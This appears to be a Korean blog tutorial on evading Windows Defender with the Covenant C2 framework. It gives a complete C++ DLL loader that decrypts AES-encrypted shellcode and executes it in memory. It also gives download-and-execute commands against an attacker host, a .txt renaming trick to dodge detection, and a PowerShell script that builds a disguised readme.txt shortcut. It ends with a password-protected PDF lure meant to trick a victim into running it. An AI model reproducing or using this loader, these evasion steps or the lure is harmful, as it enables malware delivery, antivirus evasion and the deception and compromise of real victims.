How to bypass Windows Defender (Covenant C2)
How to bypass Windows Defender with Custom C++ .DLL Payload Loader (Covenant C2)
1. Covenant 설치
covenant를 git clone 하자.
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
docker 를 설치하자.
apt-get update
apt install docker.io
그림과 같이 docker-compose 도 설치하자.
docker build -t covenant .
docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /root/Covenant/Covenant/Data:/app/Data covenant
이후에 다시 시작할때는 아래 명령어를 이용하자.
docker start covenant -ai
ai: 옵션으로, 컨테이너를 상호 작용 모드로 실행하도록 지시합니다. 상호 작용 모드는 컨테이너와 터미널 간의 상호 작용을 허용합니다. 이 옵션을 사용하지 않으면 컨테이너가 백그라운드에서 실행됩니다.
2. shell code loader
아래 링크에서 enc.cpp 코드를 복사해서 칼리에 새로운 파일을 만들자.
nano enc.cpp
아래 주소에서 AES 암호화를 수행하는 python 스크립트를 클립보드에 복사하자.
https://github.com/TheD1rkMtr/Shellcode-Hide/tree/main/3%20-%20Encrypting/1%20-%20AES
aes.py 파일을 만들자.
nano aes.py
아래 그림과 같이 칼리 파이어폭스에서 Covenant를 실행하고 Generate > Download 클릭하면 shell code 파일이 만들어 진다.
아래와 같이 실행해서 클립보드에 암호화된 shell code 와 AES 키를 복사하자.
python aes.py GruntHTTP.bin | xclip -selection clipboard
에러가 발생하면 다음을 설치하자.
pip install pycryptodome
코드를 dll 로 만들자.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
extern "C" {
__declspec(dllexport) BOOL WINAPI DllRegisterServer(void) {
최종 코드이다.
#include <windows.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment(lib, "ntdll")
void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("Failed in CryptAcquire");
return;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
printf("Failed in Cr");
return;
}
if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
return;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
return;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
return;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
extern "C" {
__declspec(dllexport) BOOL WINAPI DllRegisterServer(void) {
// AES shell code 는 생략 되었다.
unsigned char AESkey[] = { ... };
unsigned char AESshellcode[] = { ... };
DWORD payload_length = sizeof(AESshellcode);
DecryptAES((char*)AESshellcode, payload_length, AESkey, sizeof(AESkey));
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(AESshellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!alloc_mem) {
return -1;
}
//MoveMemory(alloc_mem, AESshellcode, sizeof(AESshellcode));
RtlMoveMemory(alloc_mem, AESshellcode, sizeof(AESshellcode));
DWORD oldProtect;
if (!VirtualProtect(alloc_mem, sizeof(AESshellcode), PAGE_EXECUTE_READ, &oldProtect)) {
return -2;
}
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
if (!tHandle) {
return -3;
}
((void(*)())alloc_mem)();
return 0;
}
}
컴파일 하자.
x86_64-w64-mingw32-g++ --static --shared enc.cpp -o d.dll -fpermissive
3. shell code loader 실행조건
covenant C2 는 .net 기반이어서 shell code loader를 실행하려면 .net 3.5 가 설치되야 한다. 아래 처럼 체크 해서 설정하자.
4. 바로 가기 파일
아래 그림처럼 바로가기를 만들자.
바로가기 파일 속성 > 대상 에서 아래와 같은 방식으로 dll 을 바로 전송해서 실행하면 windows defender 가 감지한다.
C:\Windows\System32\cmd.exe /c powershell.exe wget http://192.168.50.9:81/d.dll -OutFile %TMP%\d.dll && rundll32 %TMP%\d.dll, DllRegisterServer
그래서 아래와 같은 방식으로 batch file 을 다운로드 해서 실행하면 windows defender 를 우회한다.
C:\Windows\System32\cmd.exe /c powershell.exe wget http://192.168.50.9:81/o.bat -OutFile %TMP%\o.bat && %TMP%\o.bat
명령줄을 base64로 인코딩 하고 아이콘 만드는 과정을 power shell 로 처리하자.
$command = 'wget http://192.168.50.9:82/p.bat -OutFile $env:TMP\p.bat;& $env:TMP\p'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("C:\test\readme.txt.lnk")
$link.targetpath = "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
$link.arguments = "-enc $($encodedCommand)"
$link.iconlocation = "%SystemRoot%\System32\notepad.exe"
$link.windowstyle = "7"
$link.save()
참고로 $encodedCommand 내용을 다시 디코딩 하려면 아래 코드를 이용하자.
$DECODED = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encodedCommand))
Write-Output $DECODED
칼리에서 아래와 같이 batch file 을 만들자.
@echo off
powershell.exe wget http://192.168.50.9:81/d.dll -OutFile %TMP%\d.dll
rundll32 %TMP%\d.dll, DllRegisterServer
dll 파일을 받아오는 것도 defender 에서 감지하는것 같아
다음과 같이 다시 수정해 보았다.
@echo off
powershell.exe wget http://192.168.50.9:82/h.txt -OutFile %TMP%\h.txt
ren %TMP%\h.txt h.dll
rundll32 %TMP%\h.dll, Go31
위와같이 txt 파일을 이용하려면 칼리에서 컴파일후 파일이름을 h.txt로 변경해야 한다.
위에서 %TMP%는 환경변수로 temp 디렉토리를 가리킨다.
참고로 환경 변수는 다음과 같이 확인 가능하다.
최종적으로 readme.txt 파일을 클릭하면 covenant call back 이 windows defender 를 우회해서 실행된다.
readme.txt 를 종료해도 rundll32.exe 만 실행 중이면 d.dll 은 계속 실행중이다.
구글에서 “free sample pdf download”를 검색해서 pdf 파일을 다운로드 하자.
구글에서 “password protect pdf”를 검색해서 adobe 사이트로 가서 pdf에 password 설정을 하자.
이제 readme.txt 와 sample.pdf 를 zip 파일로 만들어서 칼리로 전송하고 칼리 에서 python web server를 실행하자.
python -m http.server 81 &
이제 target 에서 브라우저를 실행하고 http://192.168.50.9:81 로 들어가서 zip 파일을 다운로드 하자.
zip 파일을 열고 pdf를 실행하면 패스워드가 걸려 있고 피해자는 패스워드 때문에 readme.txt 파일을 실행하게 된다.